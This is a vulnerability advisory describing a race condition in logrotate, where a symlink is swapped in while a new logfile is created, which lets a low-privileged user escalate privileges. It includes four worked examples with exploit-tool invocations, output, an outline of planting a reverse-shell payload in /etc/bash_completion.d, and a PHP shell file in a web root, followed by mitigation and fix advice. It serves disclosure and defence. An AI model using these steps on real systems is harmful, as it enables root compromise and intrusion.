Logrotate is prone to a race-condition on systems with a log directory that is in control of a low privileged user. A malicious user could trick logrotate to create files in any directory if it is executed as root. This might lead into a privileged escalation.
Description
In the linux man page logrotate is described as follows:
logrotate is designed to ease administration of systems that generate large numbers of log files. It allows automatic rotation, compression, removal, and mailing of log files. Each log file may be handled daily, weekly, monthly, or when it grows too large.
On most linux distributions, logrotate is executed automatically once a day as user root.
Logrotate supports different methods for creating new files. For example the directive “copy” makes a copy of the logfile and “create” creates a new empty logfile after rotating. If someone exchanges the log directory with a symbolic link just before creating the new logfile, logrotate will put the new file into a different directory.
As shown in the diagram below such a scenario can be exploited if logrotate runs as user root and a low privileged user is in control of the path to the log directory. If this user exchanges the log directory with a symbolic link at the right time, logrotate will write the new file into the linked directory. After that the permissions of the created file will be adjusted and the attacker might have write access to that file.
Exploit
The race-condition can be exploited by setting a inotify-hook at the logfile. As soon as logrotate hits the logfile, the exploit gets notified and exchanges the log directory by a symbolic link to /etc/bash_completion.d. Logrotate will then create the new logfile into /etc/bash_completion.d as root and will adjust the owner and permissions of that file afterwards. The new logfile will be writable if logrotate is configured to set the owner of the file to the uid of the malicious user. Therefore the attacker can write a payload for a reverse shell into this file. As soon as root logs in, the reverse shell will be executed and spawns a root shell for the attacker.
An implementation of such an exploit could be found at https://github.com/whotwagner/logrotten
Using inotify has its limitations. It is too slow on filesystems that are on top of lvm2-volumes or overlayfs.
Examples
The following examples show different setups in which logrotate can be exploited:
1) Logfile owner is a user. Compress option is set
In this example the path is in control of user alice and the “compress”-directive is set in logrotate. The exploit hooks the IN_OPEN-operation of the file file.log.1. After the daily run of logrotate, a file with owner alice can be found at /__etc/bash_completion.d/file.log.1.gz.
The log directory is inside the home directory of user alice:
drwxr-xr-x 2 alice alice 4096 Apr 30 09:40 /home/alice/logdir
Alice has permissions for writing to the logfile:
-rw-r--r-- 1 alice alice 200000 Apr 30 09:40 /home/alice/logdir/file.log
The directive “compress” is used inside the logrotate configuration:
/home/alice/logdir/file.log {
daily
rotate 12
missingok
notifempty
size 1k
compress
}
Alice runs the exploit by setting the hook to file.log.1 and with the parameter for compression. The exploit gets executed when cron runs logrotate as root:
alice@localhost$ ./logrotten -c /home/alice/logdir/file.log.1
Waiting for rotating /home/alice/logdir/file.log.1...
Renamed /home/alice/logdir with /home/alice/logdir2 and created symlink to /etc/bash_completion.d
Done!
The compressed logfile is created in /etc/bash_completion.d with owner alice:
-rw-r--r-- 1 alice alice 200053 Apr 30 09:40 /etc/bash_completion.d/file.log.1.gz
2) Logfile owner is root.root but with acl’s that permit a user to write the logfile.
This example illustrates a case where the insecure configuration is not obvious. User root owns the complete path and the logfile. But there are ACL’s set that allows user www-data to modify the directory /var/www/project and the logfile /var/www/project/logdir/file.log. As soon as logrotate triggers the exploit, a new file /etc/bash_completion.d/file.log will be created and the ACL’s copied.
Permissions of the log directory. It is owned by root but ACL’s are in use:
drwxrwxr-x+ 2 root root 4096 Apr 30 17:09 /var/www/project/logdir
The logfile is also woned by root with ACL’s set:
-rw-rw-r--+ 1 root root 12 Apr 30 17:09 /var/www/project/logdir/file.log
Access control list of /var/www/project:
# file: var/www/project
# owner: root
# group: root
user::rwx
user:www-data:rwx
group::r-x
mask::rwx
other::r-x
Access control list of /var/www/project/logdir:
# file: var/www/project/logdir
# owner: root
# group: root
user::rwx
user:www-data:rwx
group::r-x
mask::rwx
other::r-x
default:user::rwx
default:user:root:rwx
default:user:www-data:rwx
default:group::r-x
default:mask::rwx
default:other::r-x
Logrotate configuration with “create root root”:
/var/www/project/logdir/file.log {
daily
rotate 12
missingok
notifempty
size 1k
create root root
}
www-data executes the exploit and waits until logrotate will be started by cron:
www-data@localhost$ ./logrotten /var/www/project/logdir/file.log
Waiting for rotating /var/www/project/logdir/file.log...
Renamed /var/www/project/logdir with /var/www/project/logdir2 and created symlink to /etc/bash_completion.d
Done!
The new file is created in /etc/bash_completition.d with owner root and with ACL’s set:
-rw-rw-r--+ 1 root root 0 Apr 30 17:16 /etc/bash_completion.d/file.log
Access control list of /etc/bash_completion.d/file.log:
# file: etc/bash_completion.d/file.log
# owner: root
# group: root
user::rw-
user:root:rwx #effective:rw-
user:www-data:rwx #effective:rw-
group::r-x #effective:r--
mask::rw-
other::r--
3) Parent directory is secure and owned by root, but another directory above the parent is writable by a user. The logfile is owned by root.
This example shows that it is not enough to ensure that the logdir and its parent is owned by root. As long as one directory of the complete path can be modified by a user, logrotate could be exploited.
Root owns /var/www/project/html:
drwxr-xr-x 3 root root 4096 Apr 30 17:26 /var/www/project/html/
Root owns /var/www/project/html/logdir/:
drwxr-xr-x 2 root root 4096 Apr 30 17:28 /var/www/project/html/logdir/
Only root can write the logfile:
-rw-r--r-- 1 root root 0 Apr 30 17:28 /var/www/project/html/logdir/file.log
User www-data can manipulate the path above the log directory:
drwxr-xr-x 3 www-data root 4096 Apr 30 17:26 /var/www/project
Logrotate configuration having the “create” directive:
/var/www/project/html/logdir/file.log {
daily
rotate 12
missingok
notifempty
size 1k
create
}
www-data is allowed to rename the directory /var/www/project/html:
www-data@localhost$ mv /var/www/project/html/ /var/www/project/html2
www-data can create a new logdir and it will have write permissions for www-data:
www-data@localhost$ mkdir -p /var/www/project/html/logdir
www-data can write into the new logfile:
www-data@localhost$ echo "hello world" > /var/www/project/html/logdir/file.log
Permissions of /var/www/project/html/logdir/file.log:
-rw-r--r-- 1 www-data www-data 0 Apr 30 17:31 /var/www/project/html/logdir/file.log
User www-data executes the exploit and waits until logrotate will be started by cron:
www-data@localhost$ ./logrotten /var/www/project/html/logdir/file.log
Waiting for rotating /var/www/project/html/logdir/file.log...
Renamed /var/www/project/html/logdir with /var/www/project/html/logdir2 and created symlink to /etc/bash_completion.d
Done!
The new file was created in /etc/bash_completion.de with owner www-data:
-rw-r--r-- 1 www-data www-data 0 Apr 30 17:35 /etc/bash_completion.d/file.log
4) Logrotate runs as low privileged user having the “su”-directive set. The path to the log directory is in control of a user of a group.
Using the “su”-directive is not save per se. It prevents attackers from getting root privileges, but it is still possible to gain the privileges of another user.
Directories of /var/www are owned by www-data. Only logdirs is writeable by members of the group “loggrp”:
drwxr-xr-x 2 www-data www-data 4096 May 1 05:21 /var/www/html
drwxrwxr-x 3 www-data loggrp 4096 May 1 05:24 /var/www/logdirs
The users www-data and myserv are members of the group loggrp:
loggrp:x:1001:www-data,myserv
Logrotate is configured with the “su”-directive. It will rotate logs with the privileges of www-data instead of root. The target /var/www/logdirs/example.com/* makes sure that all files inside the log directory will be rotated:
/var/www/logdirs/example.com/* {
daily
rotate 12
missingok
notifempty
size 1k
create www-data loggrp
su www-data loggrp
}
User “myserv” executes the exploit with the target directory “/var/www/html”:
myserv@localhost$ ./logrotten -t /var/www/html /var/www/logdirs/example.com/shell.php
Waiting for rotating /var/www/logdirs/example.com/shell.php...
Renamed /var/www/logdirs/example.com with /var/www/logdirs/example.com2 and created symlink to /var/www/html
Done!
User “myserv” is now able to write any php-shell into the new created file:
-rw-rw-r-- 1 www-data loggrp 0 May 1 05:47 /var/www/html/shell.php
Mitigation
This vulnerability occurs if log files are rotated in insecure directories. Even though the “su”-directive of logrotate can prevent an attacker from becoming root, it still leaves the opportunity open to escalate to another system user(as shown in example 4).
One way to mitigate the problem is using Apparmor or SElinux.
Fix
Vulnerable setups can be easily fixed by making sure that the path to the log directory can only be manipulated by root or the owner of the log directory. However, a vulnerable setup is not always obvious. Therefore logrotate should check the complete path to the log directory. If one element of the path is not secure logrotate has to abort with an error. Algorithms for checking a directory path could be found on the following pages:
Deploying such a fix might have a huge impact. If it would be deployed at large scale it could break existing installations because it prevents logrotate from rotating in insecure setups.
Conclusion
Logrotate is widely used for rotating logfiles. As the examples above have shown, insecure configurations are not always obvious. Even though a fix could prevent privilege escalations, it might also stop logrotate from working in insecure setups.